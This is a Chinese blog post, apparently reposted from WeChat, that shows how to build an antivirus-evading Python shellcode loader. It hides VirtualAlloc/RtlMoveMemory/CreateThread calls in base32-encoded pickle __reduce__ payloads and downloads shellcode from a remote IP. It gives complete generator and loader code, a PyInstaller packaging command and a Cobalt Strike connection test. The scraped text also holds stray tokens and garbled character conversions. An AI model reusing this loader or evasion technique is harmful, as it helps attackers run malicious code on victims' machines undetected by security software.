利用Python反序列化運行加載器實現免殺

前言

前幾天在看Python的shellcode加載器,在網上找了一個,結果加載器自身就過不了火絨,測試發現是火絨對關鍵語句進行了識別。css

因此咱們要想辦法去掉加載器中明顯的特徵。html

原理及實現

在繞過靜態查殺方面,主要就是要隱藏特徵,比較常見的就是各類混淆、加密,但加密後的代碼到最終仍是須要去執行它才行,代碼執行這一個操做其實特徵也是很明顯的,像exec、eval、os.system、subprocess.Popen這種,一眼就能看出來。因此也要想辦法隱藏執行這一步的特徵,這裏就能夠利用反序列化。python

下面咱們來看一段Python反序列化的代碼:shell

import subprocessimport cPickle
class gugu(object): def __reduce__(self): return (subprocess.Popen, (('calc.exe',),))
ret = cPickle.dumps(gugu())print repr(ret)cPickle.loads(ret)

程序在執行完畢後輸出了序列化後的值,並彈了個計算器,代碼中__reduce__的定義以下:
安全

__reduce__(self)微信

當定義擴展類型時(也就是使用Python的C語言API實現的類型),若是你想pickle它們,你必須告訴Python如何pickle它們。__reduce__被定義以後,當對象被Pickle時就會被調用。它要麼返回一個表明全局名稱的字符串,Pyhton會查找它並pickle,要麼返回一個元組。這個元組包含2到5個元素,其中包括:一個可調用的對象,用於重建對象時調用;一個參數元素,供那個可調用對象使用;被傳遞給 setstate 的狀態(可選);一個產生被pickle的列表元素的迭代器(可選);一個產生被pickle的字典元素的迭代器(可選);app

因此核心就是__reduce__這個魔法函數的返回值會在反序列化的時候被執行,那麼咱們提早將惡意代碼放進__reduce__中,序列化時記錄它的返回值,而後直接反序列化這段值就能執行惡意代碼了,對殺軟來講,整個代碼在表面上就是執行反序列化的一個操做。ide

在反序列化的時候我測試發現能控制的有os.system、subprocess.Popen和eval,其中前兩個是直接執行系統命令,但打包出的加載器大黑框去不掉,那就只能考慮用eval了,而eval只能執行單句,像加載器這種擁有多行代碼的無法一次執行,因此最後採用將加載器的代碼每一行都單獨執行,將序列化後的值進行編碼,最後依次解碼反序列化便可執行加載器。函數

生成加載器的代碼(很醜,輕噴):測試

import ctypes,cPickle,base64,urllib2
class test1(object): def __reduce__(self): return(eval,("urllib2.urlopen('http://192.168.227.128').read().decode('hex')",))
class test2(object): def __init__(self, shellcode): self.shellcode = shellcode def __reduce__(self): return(eval,("ctypes.windll.kernel32.VirtualAlloc(0,len(shellcode),0x1000,0x40)",))
class test3(object): def __init__(self, rwxpage, shellcode): self.rwxpage = rwxpage self.shellcode = shellcode def __reduce__(self): return(eval,("ctypes.windll.kernel32.RtlMoveMemory(rwxpage,ctypes.create_string_buffer(shellcode),len(shellcode))",)) class test4(object): def __init__(self, rwxpage): self.rwxpage = rwxpage def __reduce__(self): return(eval,("ctypes.windll.kernel32.CreateThread(0,0,rwxpage,0,0,0)",)) class test5(object): def __init__(self, handle): self.handle = handle def __reduce__(self): return(eval,("ctypes.windll.kernel32.WaitForSingleObject(handle,-1)",)) if __name__ == '__main__':
raw_shellcode = test1() ser_shellcode = cPickle.dumps(raw_shellcode) enb32_shellcode = base64.b32encode(ser_shellcode) shellcode = cPickle.loads(base64.b32decode(enb32_shellcode))

raw_vir = test2(shellcode) ser_vir = cPickle.dumps(raw_vir) enb32_vir = base64.b32encode(ser_vir) rwxpage = cPickle.loads(base64.b32decode(enb32_vir))
raw_rtl = test3(rwxpage, shellcode) ser_rtl = cPickle.dumps(raw_rtl) enb32_rtl = base64.b32encode(ser_rtl)

raw_handle=test4(rwxpage) ser_handle = cPickle.dumps(raw_handle) enb32_handle = base64.b32encode(ser_handle) handle = cPickle.loads(base64.b32decode(enb32_handle))

raw_run = test5(handle) ser_run = cPickle.dumps(raw_run) enb32_run = base64.b32encode(ser_run)

output = '''import ctypes,cPickle,base64,urllib2
e_shellcode = "{}"shellcode = cPickle.loads(base64.b32decode(e_shellcode))
e_rwxpage="{}"rwxpage = cPickle.loads(base64.b32decode(e_rwxpage))
e_code = "{}"cPickle.loads(base64.b32decode(e_code))
e_handle = "{}"handle = cPickle.loads(base64.b32decode(e_handle))
e_run = "{}"cPickle.loads(base64.b32decode(e_run))'''.format(enb32_shellcode, enb32_vir, enb32_rtl, enb32_handle, enb32_run) with open('Loader.py','w') as f: f.write(output) f.close()

運行完畢後會生成一個加載器,生成的加載器代碼:

import ctypes,cPickle,base64,urllib2
e_shellcode = "MNPV6YTVNFWHI2LOL5PQUZLWMFWAU4BRBIUFGITVOJWGY2LCGIXHK4TMN5YGK3RIE5UHI5DQHIXS6MJZGIXDCNRYFYZDENZOGEZDQJZJFZZGKYLEFAUS4ZDFMNXWIZJIE5UGK6BHFERAU4BSBJ2HAMYKKJYDICRO"shellcode = cPickle.loads(base64.b32decode(e_shellcode))
e_rwxpage="MNPV6YTVNFWHI2LOL5PQUZLWMFWAU4BRBIUFGJ3DOR4XAZLTFZ3WS3TENRWC423FOJXGK3BTGIXFM2LSOR2WC3CBNRWG6YZIGAWGYZLOFBZWQZLMNRRW6ZDFFEWDA6BRGAYDALBQPA2DAKJHBJYDECTUOAZQUUTQGQFC4==="rwxpage = cPickle.loads(base64.b32decode(e_rwxpage))
e_code = "MNPV6YTVNFWHI2LOL5PQUZLWMFWAU4BRBIUFGJ3DOR4XAZLTFZ3WS3TENRWC423FOJXGK3BTGIXFE5DMJVXXMZKNMVWW64TZFBZHO6DQMFTWKLDDOR4XAZLTFZRXEZLBORSV643UOJUW4Z27MJ2WMZTFOIUHG2DFNRWGG33EMUUSY3DFNYUHG2DFNRWGG33EMUUSSJYKOAZAU5DQGMFFE4BUBIXA===="cPickle.loads(base64.b32decode(e_code))
e_handle = "MNPV6YTVNFWHI2LOL5PQUZLWMFWAU4BRBIUFGJ3DOR4XAZLTFZ3WS3TENRWC423FOJXGK3BTGIXEG4TFMF2GKVDIOJSWCZBIGAWDALDSO54HAYLHMUWDALBQFQYCSJYKOAZAU5DQGMFFE4BUBIXA===="handle = cPickle.loads(base64.b32decode(e_handle))
e_run = "MNPV6YTVNFWHI2LOL5PQUZLWMFWAU4BRBIUFGJ3DOR4XAZLTFZ3WS3TENRWC423FOJXGK3BTGIXFOYLJORDG64STNFXGO3DFJ5RGUZLDOQUGQYLOMRWGKLBNGEUSOCTQGIFHI4BTBJJHANAKFY======"cPickle.loads(base64.b32decode(e_run))

而後用PyInstaller打包成exe:

PyInstaller --noconsole --onefile old_loader\old_Loader.py

測試查殺效果

在虛擬機中將360殺毒、360安全衛士、火絨和騰訊電腦管家版本和病毒庫升至最新:

而後斷網依次查殺:

CS上線測試:

執行命令測試:

結語

你們在測試免殺的時候,虛擬機必定要作好快照,殺軟升級到最新後要斷網,待測試完畢後及時恢復快照(不用有什麼僥倖心理),我以前就由於操做不當,致使樣本被傳到雲上了。

關於免殺,我還有一些新思路,其中包括流量等方面的,關注咱們的微信公衆號,後續咱們會繼續分享。你們有什麼其餘想法,能夠到公衆號留言,歡迎交流~~~另外,初次寫文有點緊張呢,文中可能有一些表述不對的地方,但願你們能夠留言指正!

最後,祝你們週末愉快~

參考

https://pyzh.readthedocs.io/en/latest/python-magic-methods-guide.html


本文分享自微信公衆號 - 洛米惟熊(luomiweixiong)。
若有侵權,請聯繫 support@oschina.cn 刪除。
本文參與「OSC源創計劃」,歡迎正在閱讀的你也加入,一塊兒分享。

相關文章
相關標籤/搜索